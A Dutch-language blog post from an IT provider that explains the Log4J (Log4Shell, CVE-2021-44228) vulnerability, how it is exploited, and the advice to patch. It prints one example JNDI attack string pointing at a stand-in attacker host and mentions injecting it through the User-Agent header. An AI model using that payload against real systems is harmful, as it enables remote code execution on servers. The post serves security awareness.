Browse Tag: exploit

Log4J – grootschalige zero-day exploit zet het Internet op zijn kop

Het internet staat de laatste dagen in brand. Afgelopen week werd een exploit ontdekt in Apache’s Log4J, een opensource log library dat veel wordt verwerkt in allerhande toepassingen gebasseerd op Java. De officiële naam voor deze bug in de Common Vulnerabilities and Exposures database (afgekort CVE) is CVE-2021-44228. Doordat deze exploit zo eenvoudig uit te buiten is, is menig systeembeheerder nerveus.

Wat is Log4J nu juist?

Log4J is dus een opensource library geschreven in het populaire Java. Log4J stelt applicaties in staat om op een zeer eenvoudige manier acties die gebeuren in de applicaties te gaan loggen. Een eenvoudig voorbeeld zou kunnen zijn wanneer een gebruiker zich aanmeldt op een webapplicatie met zijn gebruikersnaam/wachtwoord, we hiervan een melding opnemen in logbestanden.

De Log4J module zal je als systeembeheerder echter niet rechtstreeks terugvinden in de lijst met geïnstalleerde applicaties. Log4J is een module die vaak mee ingebakken zit in een 3rd party applicatie om daar logging te verzorgen. Laat net dit een groot probleem vormen bij deze exploit: je weet als systeembeheerder potentieel niet of Log4J aanwezig is in jouw omgeving. Wil je weten of een applicatie gebruik maakt van Log4J, dan zal je navraag moeten doen bij je software leverancier.

Op Github circuleren ondertussen gigantische lijsten van vendors en producten die geïmpacteerd zijn door deze exploit en hoe dit mogelijks op te lossen is.

Hoe kan Log4J misbruikt worden?

Wat er exact ontdekt is, is dat een bepaalde attackstring als userinput kan meegegeven worden aan een applicatie. De userinput kan eenvoudig gemanipuleerd worden door een malafide URL toe te voegen met daarachter een payload. Deze input zal door Log4J opgenomen worden en vervolgens zal de payload worden uitgevoerd.

De aanvaller kan op deze manier een zogenaamde remote shell krijgen op de server. Vandaar ook dat men deze exploit log4shell noemt.

Voorbeeld:

  • Een aanvaller vult bijvoorbeeld een formulier in met malafide content zoals bijvoorbeeld ${jndi:ldap://www.attacker.com/a}.
  • De applicatie gaat deze input loggen via Log4J, door de exploit gaat Log4J de url attacker.com volgen en uitvoeren.
  • Er heeft zich een Remote Code Execution voorgedaan en de malafide content is gedownload op de server én uitgevoerd. De aanvaller heeft nu potentieel toegang tot de server.

Maar het kan nog eenvoudiger. Wanneer een aanvaller de HTTP Useragent wijzigt van een gebruiker naar zo’n malafide url, dan zal zich een identiek proces voordoen en eentje dat zeer eenvoudig te automatiseren is. Dat is wat we nu ook op grote schaal zien: servers worden extern getest om te zien of ze kwetsbaar zijn voor deze exploit en zullen mogelijks op later tijdstip aangevallen worden.

Description of the CVE-2021-44228 vulnerability

Description of the CVE-2021-44228 vulnerability

Wat moet je ondernemen?

We hebben in het verleden al meermaals exploits gezien, maar deze beperkte zich telkens tot een afgelijnde set toepassingen of applicaties. Wat de Log4J exploit uniek maakt is dat het een exploit betreft in een library die ingesloten is in zeer veel andere producten of diensten.

Minecraft was een van de eerste applicaties die getroffen was door Log4J waar men er op een ludieke manier misbruik van maakte. Maar het zal niet bij deze ludieke acties blijven. We zien dat Log4J momenteel vooral uitgebuit wordt om cryptominers te installeren op geïnfecteerde machines om zo cryptomunten te delven. Het is zeker niet uitgesloten dat log4J in de toekomst zal gebruikt worden voor het lanceren van ransomware aanvallen.

Het is vooral belangrijk om jouw systemen zo snel als mogelijk te updaten! Software leveranciers zullen de nodige updates moeten uitbrengen om een recente veilige versie van Log4J te installeren binnen hun pakket. Als ze die niet direct kunnen uitbrengen zijn vaak work-arounds beschikbaar om tijdelijk Log4J uit te schakelen om zo het gevaar te elimineren.

Daarnaast is het ook belangrijk om de evoluties aangaande deze exploit op de voet te volgen.  Zo was er recent een melding dat er opnieuw een kwetsbaarheid gevonden was in de patch die de problemen zou moeten verhelpen. (Beveiligingsonderzoekers melden opnieuw kwetsbaarheid in log4j-library – IT Pro – Nieuws – Tweakers)

Ben je niet zeker of Log4J aanwezig is in je onderneming of netwerk is het aangeraden om contact op te nemen met de leverancier van de software pakketten en daar navraag te doen.

Wat heeft Xenius al ondernomen ?

Xenius heeft ondertussen de nodige update gelanceerd op alle managed servers. Beschik je over een unmanaged server, dan raden we je aan om zo snel als mogelijk de nodige updates door te voeren.

Hulp of ondersteuning nodig?

Onze support staat klaar om je te helpen. Contacteer ons via support@xenius.be.